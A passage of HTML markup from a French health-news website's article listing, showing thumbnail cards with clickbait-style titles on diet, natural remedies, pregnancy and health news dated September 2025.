<h3 class="g1-gamma g1-gamma-1st entry-title"><a href="https://docteurtamalou.fr/fini-les-cures-detox-compliquees-ce-legume-oublie-affine-la-taille-naturellement/" rel="bookmark">Fini les cures detox compliquées ! Ce légume oublié affine la taille naturellement</a></h3>
</header>
<footer>
<p class="g1-meta entry-meta entry-byline ">
<time class="entry-date" datetime="2025-09-07T12:10:00+02:00">7 septembre 2025, 12 h 10 min</time> </p>
</footer>
<div class="entry-todome g1-dropable snax">
</div>
</div>
</article>
</li>
<li class="g1-collection-item g1-collection-item-1of3">
<article class="entry-tpl-grid entry-tpl-grid-m post-24497 post type-post status-publish format-standard has-post-thumbnail category-actualite tag-push">
<div class="entry-featured-media " ><a title="Pourquoi votre tour de taille augmente avec l’âge : les chercheurs lèvent enfin le voile" class="g1-frame" href="https://docteurtamalou.fr/pourquoi-votre-tour-de-taille-augmente-avec-lage-les-chercheurs-levent-enfin-le-voile/"><div class="g1-frame-inner"><img loading="lazy" width="364" height="205" src="https://docteurtamalou.fr/wp-content/uploads/2025/09/FEdgmMvjtX-364x205.jpeg" class="attachment-bimber-grid-standard size-bimber-grid-standard wp-post-image" alt="" decoding="async" srcset="https://docteurtamalou.fr/wp-content/uploads/2025/09/FEdgmMvjtX-364x205.jpeg 364w, https://docteurtamalou.fr/wp-content/uploads/2025/09/FEdgmMvjtX-192x108.jpeg 192w, https://docteurtamalou.fr/wp-content/uploads/2025/09/FEdgmMvjtX-384x216.jpeg 384w, https://docteurtamalou.fr/wp-content/uploads/2025/09/FEdgmMvjtX-728x409.jpeg 728w, https://docteurtamalou.fr/wp-content/uploads/2025/09/FEdgmMvjtX-561x316.jpeg 561w, https://docteurtamalou.fr/wp-content/uploads/2025/09/FEdgmMvjtX-1122x631.jpeg 1122w, https://docteurtamalou.fr/wp-content/uploads/2025/09/FEdgmMvjtX-758x426.jpeg 758w, https://docteurtamalou.fr/wp-content/uploads/2025/09/FEdgmMvjtX-1152x648.jpeg 1152w" sizes="(max-width: 364px) 100vw, 364px" /><span class="g1-frame-icon g1-frame-icon-"></span></div></a></div>
<div class="entry-body">
<header class="entry-header">
<div class="entry-before-title">
<span class="entry-categories "><span class="entry-categories-inner"><span class="entry-categories-label">in</span> <a href="https://docteurtamalou.fr/actualite/" class="entry-category entry-category-item-243">Actualité</a></span></span> </div>
<h3 class="g1-gamma g1-gamma-1st entry-title"><a href="https://docteurtamalou.fr/pourquoi-votre-tour-de-taille-augmente-avec-lage-les-chercheurs-levent-enfin-le-voile/" rel="bookmark">Pourquoi votre tour de taille augmente avec l’âge : les chercheurs lèvent enfin le voile</a></h3>
</header>
<footer>
<p class="g1-meta entry-meta entry-byline ">
<time class="entry-date" datetime="2025-09-07T10:25:00+02:00">7 septembre 2025, 10 h 25 min</time> </p>
</footer>
<div class="entry-todome g1-dropable snax">
</div>
</div>
</article>
</li>
<li class="g1-collection-item g1-collection-item-1of3">
<article class="entry-tpl-grid entry-tpl-grid-m post-24492 post type-post status-publish format-standard has-post-thumbnail category-sante tag-push">
<div class="entry-featured-media " ><a title="Gourdes de compote : ce geste que font (presque) tous les parents à la rentrée, mais qui pourrait mettre la santé des enfants en danger" class="g1-frame" href="https://docteurtamalou.fr/gourdes-de-compote-ce-geste-que-font-presque-tous-les-parents-a-la-rentree-mais-qui-pourrait-mettre-la-sante-des-enfants-en-danger/"><div class="g1-frame-inner"><img loading="lazy" width="364" height="205" src="https://docteurtamalou.fr/wp-content/uploads/2025/09/CEZMrqdFkJ-364x205.jpeg" class="attachment-bimber-grid-standard size-bimber-grid-standard wp-post-image" alt="" decoding="async" srcset="https://docteurtamalou.fr/wp-content/uploads/2025/09/CEZMrqdFkJ-364x205.jpeg 364w, https://docteurtamalou.fr/wp-content/uploads/2025/09/CEZMrqdFkJ-192x108.jpeg 192w, https://docteurtamalou.fr/wp-content/uploads/2025/09/CEZMrqdFkJ-384x216.jpeg 384w, https://docteurtamalou.fr/wp-content/uploads/2025/09/CEZMrqdFkJ-728x409.jpeg 728w, https://docteurtamalou.fr/wp-content/uploads/2025/09/CEZMrqdFkJ-561x316.jpeg 561w, https://docteurtamalou.fr/wp-content/uploads/2025/09/CEZMrqdFkJ-1122x631.jpeg 1122w, https://docteurtamalou.fr/wp-content/uploads/2025/09/CEZMrqdFkJ-758x426.jpeg 758w, https://docteurtamalou.fr/wp-content/uploads/2025/09/CEZMrqdFkJ-1152x648.jpeg 1152w" sizes="(max-width: 364px) 100vw, 364px" /><span class="g1-frame-icon g1-frame-icon-"></span></div></a></div>
<div class="entry-body">
<header class="entry-header">
<div class="entry-before-title">
<span class="entry-categories "><span class="entry-categories-inner"><span class="entry-categories-label">in</span> <a href="https://docteurtamalou.fr/sante/" class="entry-category entry-category-item-8">Santé quotidienne</a></span></span> </div>
<h3 class="g1-gamma g1-gamma-1st entry-title"><a href="https://docteurtamalou.fr/gourdes-de-compote-ce-geste-que-font-presque-tous-les-parents-a-la-rentree-mais-qui-pourrait-mettre-la-sante-des-enfants-en-danger/" rel="bookmark">Gourdes de compote : ce geste que font (presque) tous les parents à la rentrée, mais qui pourrait mettre la santé des enfants en danger</a></h3>
</header>
<footer>
<p class="g1-meta entry-meta entry-byline ">
<time class="entry-date" datetime="2025-09-07T09:10:00+02:00">7 septembre 2025, 9 h 10 min</time> </p>
</footer>
<div class="entry-todome g1-dropable snax">
</div>
</div>
</article>
</li>
<li class="g1-collection-item g1-collection-item-1of3">
<article class="entry-tpl-grid entry-tpl-grid-m post-24495 post type-post status-publish format-standard has-post-thumbnail category-actualite tag-push">
<div class="entry-featured-media " ><a title="Un tatouage électronique pour prévenir le burn-out : la solution qui pourrait changer la vie au travail" class="g1-frame" href="https://docteurtamalou.fr/un-tatouage-electronique-pour-prevenir-le-burn-out-la-solution-qui-pourrait-changer-la-vie-au-travail/"><div class="g1-frame-inner"><img loading="lazy" width="364" height="205" src="https://docteurtamalou.fr/wp-content/uploads/2025/09/djcZETC8z3-364x205.jpeg" class="attachment-bimber-grid-standard size-bimber-grid-standard wp-post-image" alt="" decoding="async" srcset="https://docteurtamalou.fr/wp-content/uploads/2025/09/djcZETC8z3-364x205.jpeg 364w, https://docteurtamalou.fr/wp-content/uploads/2025/09/djcZETC8z3-192x108.jpeg 192w, https://docteurtamalou.fr/wp-content/uploads/2025/09/djcZETC8z3-384x216.jpeg 384w, https://docteurtamalou.fr/wp-content/uploads/2025/09/djcZETC8z3-728x409.jpeg 728w, https://docteurtamalou.fr/wp-content/uploads/2025/09/djcZETC8z3-561x316.jpeg 561w, https://docteurtamalou.fr/wp-content/uploads/2025/09/djcZETC8z3-1122x631.jpeg 1122w, https://docteurtamalou.fr/wp-content/uploads/2025/09/djcZETC8z3-758x426.jpeg 758w, https://docteurtamalou.fr/wp-content/uploads/2025/09/djcZETC8z3-1152x648.jpeg 1152w" sizes="(max-width: 364px) 100vw, 364px" /><span class="g1-frame-icon g1-frame-icon-"></span></div></a></div>
<div class="entry-body">
<header class="entry-header">
<div class="entry-before-title">
<span class="entry-categories "><span class="entry-categories-inner"><span class="entry-categories-label">in</span> <a href="https://docteurtamalou.fr/actualite/" class="entry-category entry-category-item-243">Actualité</a></span></span> </div>
<h3 class="g1-gamma g1-gamma-1st entry-title"><a href="https://docteurtamalou.fr/un-tatouage-electronique-pour-prevenir-le-burn-out-la-solution-qui-pourrait-changer-la-vie-au-travail/" rel="bookmark">Un tatouage électronique pour prévenir le burn-out : la solution qui pourrait changer la vie au travail</a></h3>
</header>
<footer>
<p class="g1-meta entry-meta entry-byline ">
<time class="entry-date" datetime="2025-09-07T08:25:00+02:00">7 septembre 2025, 8 h 25 min</time> </p>
</footer>
<div class="entry-todome g1-dropable snax">
</div>
</div>
</article>
</li>
<li class="g1-collection-item g1-collection-item-1of3">
<article class="entry-tpl-grid entry-tpl-grid-m post-24490 post type-post status-publish format-standard has-post-thumbnail category-sante tag-push">
<div class="entry-featured-media " ><a title="Fruits frais au supermarché ? L’astuce cachée des grandes surfaces qui vous trompe" class="g1-frame" href="https://docteurtamalou.fr/fruits-frais-au-supermarche-lastuce-cachee-des-grandes-surfaces-qui-vous-trompe/"><div class="g1-frame-inner"><img loading="lazy" width="364" height="205" src="https://docteurtamalou.fr/wp-content/uploads/2025/09/eULaOR91iV-364x205.jpeg" class="attachment-bimber-grid-standard size-bimber-grid-standard wp-post-image" alt="" decoding="async" srcset="https://docteurtamalou.fr/wp-content/uploads/2025/09/eULaOR91iV-364x205.jpeg 364w, https://docteurtamalou.fr/wp-content/uploads/2025/09/eULaOR91iV-192x108.jpeg 192w, https://docteurtamalou.fr/wp-content/uploads/2025/09/eULaOR91iV-384x216.jpeg 384w, https://docteurtamalou.fr/wp-content/uploads/2025/09/eULaOR91iV-728x409.jpeg 728w, https://docteurtamalou.fr/wp-content/uploads/2025/09/eULaOR91iV-561x316.jpeg 561w, https://docteurtamalou.fr/wp-content/uploads/2025/09/eULaOR91iV-1122x631.jpeg 1122w, https://docteurtamalou.fr/wp-content/uploads/2025/09/eULaOR91iV-758x426.jpeg 758w, https://docteurtamalou.fr/wp-content/uploads/2025/09/eULaOR91iV-1152x648.jpeg 1152w" sizes="(max-width: 364px) 100vw, 364px" /><span class="g1-frame-icon g1-frame-icon-"></span></div></a></div>
<div class="entry-body">
<header class="entry-header">
<div class="entry-before-title">
<span class="entry-categories "><span class="entry-categories-inner"><span class="entry-categories-label">in</span> <a href="https://docteurtamalou.fr/sante/" class="entry-category entry-category-item-8">Santé quotidienne</a></span></span> </div>
<h3 class="g1-gamma g1-gamma-1st entry-title"><a href="https://docteurtamalou.fr/fruits-frais-au-supermarche-lastuce-cachee-des-grandes-surfaces-qui-vous-trompe/" rel="bookmark">Fruits frais au supermarché ? L’astuce cachée des grandes surfaces qui vous trompe</a></h3>
</header>
<footer>
<p class="g1-meta entry-meta entry-byline ">
<time class="entry-date" datetime="2025-09-07T07:10:00+02:00">7 septembre 2025, 7 h 10 min</time> </p>
</footer>
<div class="entry-todome g1-dropable snax">
</div>
</div>
</article>
</li>
<li class="g1-collection-item g1-collection-item-1of3">
<article class="entry-tpl-grid entry-tpl-grid-m post-24418 post type-post status-publish format-standard has-post-thumbnail category-sport-et-forme tag-exercice tag-forme tag-push tag-sante">
<div class="entry-featured-media " ><a title="Ce geste matinal tout simple révèle instantanément l’état de votre mobilité et de votre équilibre" class="g1-frame" href="https://docteurtamalou.fr/ce-geste-matinal-tout-simple-revele-instantanement-letat-de-votre-mobilite-et-de-votre-equilibre/"><div class="g1-frame-inner"><img loading="lazy" width="364" height="205" src="https://docteurtamalou.fr/wp-content/uploads/2025/09/ce-geste-matinal-tout-simple-rc3a9vc3a8le-instantanc3a9ment-le28099c3a9tat-de-votre-mobilitc3a9-et-de-votre-c3a9quilibre-1756803838-364x205.jpeg" class="attachment-bimber-grid-standard size-bimber-grid-standard wp-post-image" alt="" decoding="async" srcset="https://docteurtamalou.fr/wp-content/uploads/2025/09/ce-geste-matinal-tout-simple-rc3a9vc3a8le-instantanc3a9ment-le28099c3a9tat-de-votre-mobilitc3a9-et-de-votre-c3a9quilibre-1756803838-364x205.jpeg 364w, https://docteurtamalou.fr/wp-content/uploads/2025/09/ce-geste-matinal-tout-simple-rc3a9vc3a8le-instantanc3a9ment-le28099c3a9tat-de-votre-mobilitc3a9-et-de-votre-c3a9quilibre-1756803838-192x108.jpeg 192w, https://docteurtamalou.fr/wp-content/uploads/2025/09/ce-geste-matinal-tout-simple-rc3a9vc3a8le-instantanc3a9ment-le28099c3a9tat-de-votre-mobilitc3a9-et-de-votre-c3a9quilibre-1756803838-384x216.jpeg 384w, https://docteurtamalou.fr/wp-content/uploads/2025/09/ce-geste-matinal-tout-simple-rc3a9vc3a8le-instantanc3a9ment-le28099c3a9tat-de-votre-mobilitc3a9-et-de-votre-c3a9quilibre-1756803838-728x409.jpeg 728w, https://docteurtamalou.fr/wp-content/uploads/2025/09/ce-geste-matinal-tout-simple-rc3a9vc3a8le-instantanc3a9ment-le28099c3a9tat-de-votre-mobilitc3a9-et-de-votre-c3a9quilibre-1756803838-561x316.jpeg 561w, https://docteurtamalou.fr/wp-content/uploads/2025/09/ce-geste-matinal-tout-simple-rc3a9vc3a8le-instantanc3a9ment-le28099c3a9tat-de-votre-mobilitc3a9-et-de-votre-c3a9quilibre-1756803838-1122x631.jpeg 1122w, https://docteurtamalou.fr/wp-content/uploads/2025/09/ce-geste-matinal-tout-simple-rc3a9vc3a8le-instantanc3a9ment-le28099c3a9tat-de-votre-mobilitc3a9-et-de-votre-c3a9quilibre-1756803838-758x426.jpeg 758w, https://docteurtamalou.fr/wp-content/uploads/2025/09/ce-geste-matinal-tout-simple-rc3a9vc3a8le-instantanc3a9ment-le28099c3a9tat-de-votre-mobilitc3a9-et-de-votre-c3a9quilibre-1756803838-1152x648.jpeg 1152w" sizes="(max-width: 364px) 100vw, 364px" /><span class="g1-frame-icon g1-frame-icon-"></span></div></a></div>
<div class="entry-body">
<header class="entry-header">
<div class="entry-before-title">
<span class="entry-categories "><span class="entry-categories-inner"><span class="entry-categories-label">in</span> <a href="https://docteurtamalou.fr/sport-et-forme/" class="entry-category entry-category-item-277">Sport et Forme</a></span></span> </div>
<h3 class="g1-gamma g1-gamma-1st entry-title"><a href="https://docteurtamalou.fr/ce-geste-matinal-tout-simple-revele-instantanement-letat-de-votre-mobilite-et-de-votre-equilibre/" rel="bookmark">Ce geste matinal tout simple révèle instantanément l’état de votre mobilité et de votre équilibre</a></h3>
</header>
<footer>
<p class="g1-meta entry-meta entry-byline ">
<time class="entry-date" datetime="2025-09-07T05:00:00+02:00">7 septembre 2025, 5 h 00 min</time> </p>
</footer>
<div class="entry-todome g1-dropable snax">
</div>
</div>
</article>
</li>
<li class="g1-collection-item g1-collection-item-1of3">
<article class="entry-tpl-grid entry-tpl-grid-m post-24402 post type-post status-publish format-standard has-post-thumbnail category-grossesse tag-bebe tag-enceinte tag-grossesse tag-push">
<div class="entry-featured-media " ><a title="Bien vivre sa grossesse avec ses animaux : les bons réflexes pour préserver sa santé et celle de bébé" class="g1-frame" href="https://docteurtamalou.fr/bien-vivre-sa-grossesse-avec-ses-animaux-les-bons-reflexes-pour-preserver-sa-sante-et-celle-de-bebe/"><div class="g1-frame-inner"><img loading="lazy" width="364" height="205" src="https://docteurtamalou.fr/wp-content/uploads/2025/09/UYN8zqXg3v-364x205.jpeg" class="attachment-bimber-grid-standard size-bimber-grid-standard wp-post-image" alt="" decoding="async" srcset="https://docteurtamalou.fr/wp-content/uploads/2025/09/UYN8zqXg3v-364x205.jpeg 364w, https://docteurtamalou.fr/wp-content/uploads/2025/09/UYN8zqXg3v-192x108.jpeg 192w, https://docteurtamalou.fr/wp-content/uploads/2025/09/UYN8zqXg3v-384x216.jpeg 384w, https://docteurtamalou.fr/wp-content/uploads/2025/09/UYN8zqXg3v-728x409.jpeg 728w, https://docteurtamalou.fr/wp-content/uploads/2025/09/UYN8zqXg3v-561x316.jpeg 561w, https://docteurtamalou.fr/wp-content/uploads/2025/09/UYN8zqXg3v-1122x631.jpeg 1122w, https://docteurtamalou.fr/wp-content/uploads/2025/09/UYN8zqXg3v-758x426.jpeg 758w, https://docteurtamalou.fr/wp-content/uploads/2025/09/UYN8zqXg3v-1152x648.jpeg 1152w" sizes="(max-width: 364px) 100vw, 364px" /><span class="g1-frame-icon g1-frame-icon-"></span></div></a></div>
<div class="entry-body">
<header class="entry-header">
<div class="entry-before-title">
<span class="entry-categories "><span class="entry-categories-inner"><span class="entry-categories-label">in</span> <a href="https://docteurtamalou.fr/grossesse/" class="entry-category entry-category-item-4">Grossesse</a></span></span> </div>
<h3 class="g1-gamma g1-gamma-1st entry-title"><a href="https://docteurtamalou.fr/bien-vivre-sa-grossesse-avec-ses-animaux-les-bons-reflexes-pour-preserver-sa-sante-et-celle-de-bebe/" rel="bookmark">Bien vivre sa grossesse avec ses animaux : les bons réflexes pour préserver sa santé et celle de bébé</a></h3>
</header>
<footer>
<p class="g1-meta entry-meta entry-byline ">
<time class="entry-date" datetime="2025-09-06T18:05:00+02:00">6 septembre 2025, 18 h 05 min</time> </p>
</footer>
<div class="entry-todome g1-dropable snax">
</div>
</div>
</article>
</li>
<li class="g1-collection-item g1-collection-item-1of3">
<article class="entry-tpl-grid entry-tpl-grid-m post-24262 post type-post status-publish format-standard has-post-thumbnail category-remedes-naturels tag-push">
<div class="entry-featured-media " ><a title="Saupoudrez vos salades de ces graines pour une digestion légère et un système immunitaire au top (c’est naturel, simple et totalement sous-estimé)" class="g1-frame" href="https://docteurtamalou.fr/saupoudrez-vos-salades-de-ces-graines-pour-une-digestion-legere-et-un-systeme-immunitaire-au-top-cest-naturel-simple-et-totalement-sous-estime/"><div class="g1-frame-inner"><img loading="lazy" width="364" height="205" src="https://docteurtamalou.fr/wp-content/uploads/2025/08/FbYARiGLuc-364x205.jpeg" class="attachment-bimber-grid-standard size-bimber-grid-standard wp-post-image" alt="" decoding="async" srcset="https://docteurtamalou.fr/wp-content/uploads/2025/08/FbYARiGLuc-364x205.jpeg 364w, https://docteurtamalou.fr/wp-content/uploads/2025/08/FbYARiGLuc-192x108.jpeg 192w, https://docteurtamalou.fr/wp-content/uploads/2025/08/FbYARiGLuc-384x216.jpeg 384w, https://docteurtamalou.fr/wp-content/uploads/2025/08/FbYARiGLuc-728x409.jpeg 728w, https://docteurtamalou.fr/wp-content/uploads/2025/08/FbYARiGLuc-561x316.jpeg 561w, https://docteurtamalou.fr/wp-content/uploads/2025/08/FbYARiGLuc-1122x631.jpeg 1122w, https://docteurtamalou.fr/wp-content/uploads/2025/08/FbYARiGLuc-758x426.jpeg 758w, https://docteurtamalou.fr/wp-content/uploads/2025/08/FbYARiGLuc-1152x648.jpeg 1152w" sizes="(max-width: 364px) 100vw, 364px" /><span class="g1-frame-icon g1-frame-icon-"></span></div></a></div>
<div class="entry-body">
<header class="entry-header">
<div class="entry-before-title">
<span class="entry-categories "><span class="entry-categories-inner"><span class="entry-categories-label">in</span> <a href="https://docteurtamalou.fr/remedes-naturels/" class="entry-category entry-category-item-7">Remèdes naturels</a></span></span> </div>
<h3 class="g1-gamma g1-gamma-1st entry-title"><a href="https://docteurtamalou.fr/saupoudrez-vos-salades-de-ces-graines-pour-une-digestion-legere-et-un-systeme-immunitaire-au-top-cest-naturel-simple-et-totalement-sous-estime/" rel="bookmark">Saupoudrez vos salades de ces graines pour une digestion légère et un système immunitaire au top (c’est naturel, simple et totalement sous-estimé)</a></h3>
</header>
<footer>
<p class="g1-meta entry-meta entry-byline ">
<time class="entry-date" datetime="2025-09-06T12:25:00+02:00">6 septembre 2025, 12 h 25 min</time> </p>
</footer>
<div class="entry-todome g1-dropable snax">
</div>
</div>
</article>
</li>
<li class="g1-collection-item g1-collection-item-1of3">
<article class="entry-tpl-grid entry-tpl-grid-m post-24259 post type-post status-publish format-standard has-post-thumbnail category-remedes-naturels tag-push">
<div class="entry-featured-media " ><a title="Cette boisson chasse les crampes et réhydrate après une dure journée : testez cette infusion que personne ne connaît !" class="g1-frame" href="https://docteurtamalou.fr/cette-boisson-chasse-les-crampes-et-rehydrate-apres-une-dure-journee-testez-cette-infusion-que-personne-ne-connait/"><div class="g1-frame-inner"><img loading="lazy" width="364" height="205" src="https://docteurtamalou.fr/wp-content/uploads/2025/08/kBxrbINhs3-364x205.jpeg" class="attachment-bimber-grid-standard size-bimber-grid-standard wp-post-image" alt="" decoding="async" srcset="https://docteurtamalou.fr/wp-content/uploads/2025/08/kBxrbINhs3-364x205.jpeg 364w, https://docteurtamalou.fr/wp-content/uploads/2025/08/kBxrbINhs3-192x108.jpeg 192w, https://docteurtamalou.fr/wp-content/uploads/2025/08/kBxrbINhs3-384x216.jpeg 384w, https://docteurtamalou.fr/wp-content/uploads/2025/08/kBxrbINhs3-728x409.jpeg 728w, https://docteurtamalou.fr/wp-content/uploads/2025/08/kBxrbINhs3-561x316.jpeg 561w, https://docteurtamalou.fr/wp-content/uploads/2025/08/kBxrbINhs3-1122x631.jpeg 1122w, https://docteurtamalou.fr/wp-content/uploads/2025/08/kBxrbINhs3-758x426.jpeg 758w, https://docteurtamalou.fr/wp-content/uploads/2025/08/kBxrbINhs3-1152x648.jpeg 1152w" sizes="(max-width: 364px) 100vw, 364px" /><span class="g1-frame-icon g1-frame-icon-"></span></div></a></div>
<div class="entry-body">
<header class="entry-header">
<div class="entry-before-title">
<span class="entry-categories "><span class="entry-categories-inner"><span class="entry-categories-label">in</span> <a href="https://docteurtamalou.fr/remedes-naturels/" class="entry-category entry-category-item-7">Remèdes naturels</a></span></span> </div>
<h3 class="g1-gamma g1-gamma-1st entry-title"><a href="https://docteurtamalou.fr/cette-boisson-chasse-les-crampes-et-rehydrate-apres-une-dure-journee-testez-cette-infusion-que-personne-ne-connait/" rel="bookmark">Cette boisson chasse les crampes et réhydrate après une dure journée : testez cette infusion que personne ne connaît !</a></h3>
</header>
<footer>
<p class="g1-meta entry-meta entry-byline ">
<time class="entry-date" datetime="2025-09-06T12:10:00+02:00">6 septembre 2025, 12 h 10 min</time> </p>
</footer>
<div class="entry-todome g1-dropable snax">
</div>
</div>
</article>
</li>
<li class="g1-collection-item g1-collection-item-1of3">
<article class="entry-tpl-grid entry-tpl-grid-m post-24481 post type-post status-publish format-standard has-post-thumbnail category-actualite tag-push">
<div class="entry-featured-media " ><a title="Un duo de médicaments prolonge la vie des souris de 30% : un espoir contre le vieillissement ?" class="g1-frame" href="https://docteurtamalou.fr/un-duo-de-medicaments-prolonge-la-vie-des-souris-de-30-un-espoir-contre-le-vieillissement/"><div class="g1-frame-inner"><img loading="lazy" width="364" height="205" src="https://docteurtamalou.fr/wp-content/uploads/2025/09/3XGdaACt24-364x205.jpeg" class="attachment-bimber-grid-standard size-bimber-grid-standard wp-post-image" alt="" decoding="async" srcset="https://docteurtamalou.fr/wp-content/uploads/2025/09/3XGdaACt24-364x205.jpeg 364w, https://docteurtamalou.fr/wp-content/uploads/2025/09/3XGdaACt24-192x108.jpeg 192w, https://docteurtamalou.fr/wp-content/uploads/2025/09/3XGdaACt24-384x216.jpeg 384w, https://docteurtamalou.fr/wp-content/uploads/2025/09/3XGdaACt24-728x409.jpeg 728w, https://docteurtamalou.fr/wp-content/uploads/2025/09/3XGdaACt24-561x316.jpeg 561w, https://docteurtamalou.fr/wp-content/uploads/2025/09/3XGdaACt24-1122x631.jpeg 1122w, https://docteurtamalou.fr/wp-content/uploads/2025/09/3XGdaACt24-758x426.jpeg 758w, https://docteurtamalou.fr/wp-content/uploads/2025/09/3XGdaACt24-1152x648.jpeg 1152w" sizes="(max-width: 364px) 100vw, 364px" /><span class="g1-frame-icon g1-frame-icon-"></span></div></a></div>
<div class="entry-body">
<header class="entry-header">
<div class="entry-before-title">
<span class="entry-categories "><span class="entry-categories-inner"><span class="entry-categories-label">in</span> <a href="https://docteurtamalou.fr/actualite/" class="entry-category entry-category-item-243">Actualité</a></span></span> </div>
<h3 class="g1-gamma g1-gamma-1st entry-title"><a href="https://docteurtamalou.fr/un-duo-de-medicaments-prolonge-la-vie-des-souris-de-30-un-espoir-contre-le-vieillissement/" rel="bookmark">Un duo de médicaments prolonge la vie des souris de 30% : un espoir contre le vieillissement ?</a></h3>
</header>
<footer>
<p class="g1-meta entry-meta entry-byline ">
<time class="entry-date" datetime="2025-09-06T10:25:00+02:00">6 septembre 2025, 10 h 25 min</time> </p>
</footer>
<div class="entry-todome g1-dropable snax">
</div>
</div>
</article>
</li>
<li class="g1-collection-item g1-collection-item-1of3">
<article class="entry-tpl-grid entry-tpl-grid-m post-24473 post type-post status-publish format-standard category-sante tag-push">
<div class="entry-body">
<header class="entry-header">
<div class="entry-before-title">
<span class="entry-categories "><span class="entry-categories-inner"><span class="entry-categories-label">in</span> <a href="https://docteurtamalou.fr/sante/" class="entry-category entry-category-item-8">Santé quotidienne</a></span></span> </div>
<h3 class="g1-gamma g1-gamma-1st entry-title"><a href="https://docteurtamalou.fr/votre-cuisine-est-pleine-de-moucherons-voici-lerreur-frequente-qui-ne-fait-quaggraver-la-situation/" rel="bookmark">Votre cuisine est pleine de moucherons ? Voici l’erreur fréquente qui ne fait qu’aggraver la situation</a></h3>
</header>
<footer>
<p class="g1-meta entry-meta entry-byline ">
<time class="entry-date" datetime="2025-09-06T09:10:00+02:00">6 septembre 2025, 9 h 10 min</time> </p>
</footer>
<div class="entry-todome g1-dropable snax">
</div>
</div>
</article>
</li>
<li class="g1-collection-item g1-collection-item-1of3">
<article class="entry-tpl-grid entry-tpl-grid-m post-24475 post type-post status-publish format-standard has-post-thumbnail category-actualite tag-push">
<div class="entry-featured-media " ><a title="La respiration circulaire, une nouvelle piste prometteuse contre la dépression et le stress post-traumatique" class="g1-frame" href="https://docteurtamalou.fr/la-respiration-circulaire-une-nouvelle-piste-prometteuse-contre-la-depression-et-le-stress-post-traumatique/"><div class="g1-frame-inner"><img loading="lazy" width="364" height="205" src="https://docteurtamalou.fr/wp-content/uploads/2025/09/aEuoZNH6Ps-364x205.jpeg" class="attachment-bimber-grid-standard size-bimber-grid-standard wp-post-image" alt="" decoding="async" srcset="https://docteurtamalou.fr/wp-content/uploads/2025/09/aEuoZNH6Ps-364x205.jpeg 364w, https://docteurtamalou.fr/wp-content/uploads/2025/09/aEuoZNH6Ps-192x108.jpeg 192w, https://docteurtamalou.fr/wp-content/uploads/2025/09/aEuoZNH6Ps-384x216.jpeg 384w, https://docteurtamalou.fr/wp-content/uploads/2025/09/aEuoZNH6Ps-728x409.jpeg 728w, https://docteurtamalou.fr/wp-content/uploads/2025/09/aEuoZNH6Ps-561x316.jpeg 561w, https://docteurtamalou.fr/wp-content/uploads/2025/09/aEuoZNH6Ps-1122x631.jpeg 1122w, https://docteurtamalou.fr/wp-content/uploads/2025/09/aEuoZNH6Ps-758x426.jpeg 758w, https://docteurtamalou.fr/wp-content/uploads/2025/09/aEuoZNH6Ps-1152x648.jpeg 1152w" sizes="(max-width: 364px) 100vw, 364px" /><span class="g1-frame-icon g1-frame-icon-"></span></div></a></div>
<div class="entry-body">
<header class="entry-header">
<div class="entry-before-title">
<span class="entry-categories "><span class="entry-categories-inner"><span class="entry-categories-label">in</span> <a href="https://docteurtamalou.fr/actualite/" class="entry-category entry-category-item-243">Actualité</a></span></span> </div>
<h3 class="g1-gamma g1-gamma-1st entry-title"><a href="https://docteurtamalou.fr/la-respiration-circulaire-une-nouvelle-piste-prometteuse-contre-la-depression-et-le-stress-post-traumatique/" rel="bookmark">La respiration circulaire, une nouvelle piste prometteuse contre la dépression et le stress post-traumatique</a></h3>
</header>
<footer>
<p class="g1-meta entry-meta entry-byline ">
<time class="entry-date" datetime="2025-09-06T08:25:00+02:00">6 septembre 2025, 8 h 25 min</time> </p>
</footer>
<div class="entry-todome g1-dropable snax">
</div>
</div>
</article>
</li>
<li class="g1-collection-item g1-collection-item-1of3">
<article class="entry-tpl-grid entry-tpl-grid-m post-24471 post type-post status-publish format-standard has-post-thumbnail category-sante tag-push">
<div class="entry-featured-media " ><a title="Ce geste tout à fait banal pour vos baskets pourrait pourtant nuire à votre santé respiratoire" class="g1-frame" href="https://docteurtamalou.fr/ce-geste-tout-a-fait-banal-pour-vos-baskets-pourrait-pourtant-nuire-a-votre-sante-respiratoire/"><div class="g1-frame-inner"><img loading="lazy" width="364" height="205" src="https://docteurtamalou.fr/wp-content/uploads/2025/09/FBfvJGazKT-364x205.jpeg" class="attachment-bimber-grid-standard size-bimber-grid-standard wp-post-image" alt="" decoding="async" srcset="https://docteurtamalou.fr/wp-content/uploads/2025/09/FBfvJGazKT-364x205.jpeg 364w, https://docteurtamalou.fr/wp-content/uploads/2025/09/FBfvJGazKT-192x108.jpeg 192w, https://docteurtamalou.fr/wp-content/uploads/2025/09/FBfvJGazKT-384x216.jpeg 384w, https://docteurtamalou.fr/wp-content/uploads/2025/09/FBfvJGazKT-728x409.jpeg 728w, https://docteurtamalou.fr/wp-content/uploads/2025/09/FBfvJGazKT-561x316.jpeg 561w, https://docteurtamalou.fr/wp-content/uploads/2025/09/FBfvJGazKT-1122x631.jpeg 1122w, https://docteurtamalou.fr/wp-content/uploads/2025/09/FBfvJGazKT-758x426.jpeg 758w, https://docteurtamalou.fr/wp-content/uploads/2025/09/FBfvJGazKT-1152x648.jpeg 1152w" sizes="(max-width: 364px) 100vw, 364px" /><span class="g1-frame-icon g1-frame-icon-"></span></div></a></div>
<div class="entry-body">
<header class="entry-header">
<div class="entry-before-title">
<span class="entry-categories "><span class="entry-categories-inner"><span class="entry-categories-label">in</span> <a href="https://docteurtamalou.fr/sante/" class="entry-category entry-category-item-8">Santé quotidienne</a></span></span> </div>
<h3 class="g1-gamma g1-gamma-1st entry-title"><a href="https://docteurtamalou.fr/ce-geste-tout-a-fait-banal-pour-vos-baskets-pourrait-pourtant-nuire-a-votre-sante-respiratoire/" rel="bookmark">Ce geste tout à fait banal pour vos baskets pourrait pourtant nuire à votre santé respiratoire</a></h3>
</header>
<footer>
<p class="g1-meta entry-meta entry-byline ">
<time class="entry-date" datetime="2025-09-06T07:10:00+02:00">6 septembre 2025, 7 h 10 min</time> </p>
</footer>
<div class="entry-todome g1-dropable snax">
</div>
</div>
</article>
</li>
<li class="g1-collection-item g1-collection-item-1of3">
<article class="entry-tpl-grid entry-tpl-grid-m post-24356 post type-post status-publish format-standard has-post-thumbnail category-sport-et-forme tag-exercice tag-forme tag-push tag-sante">
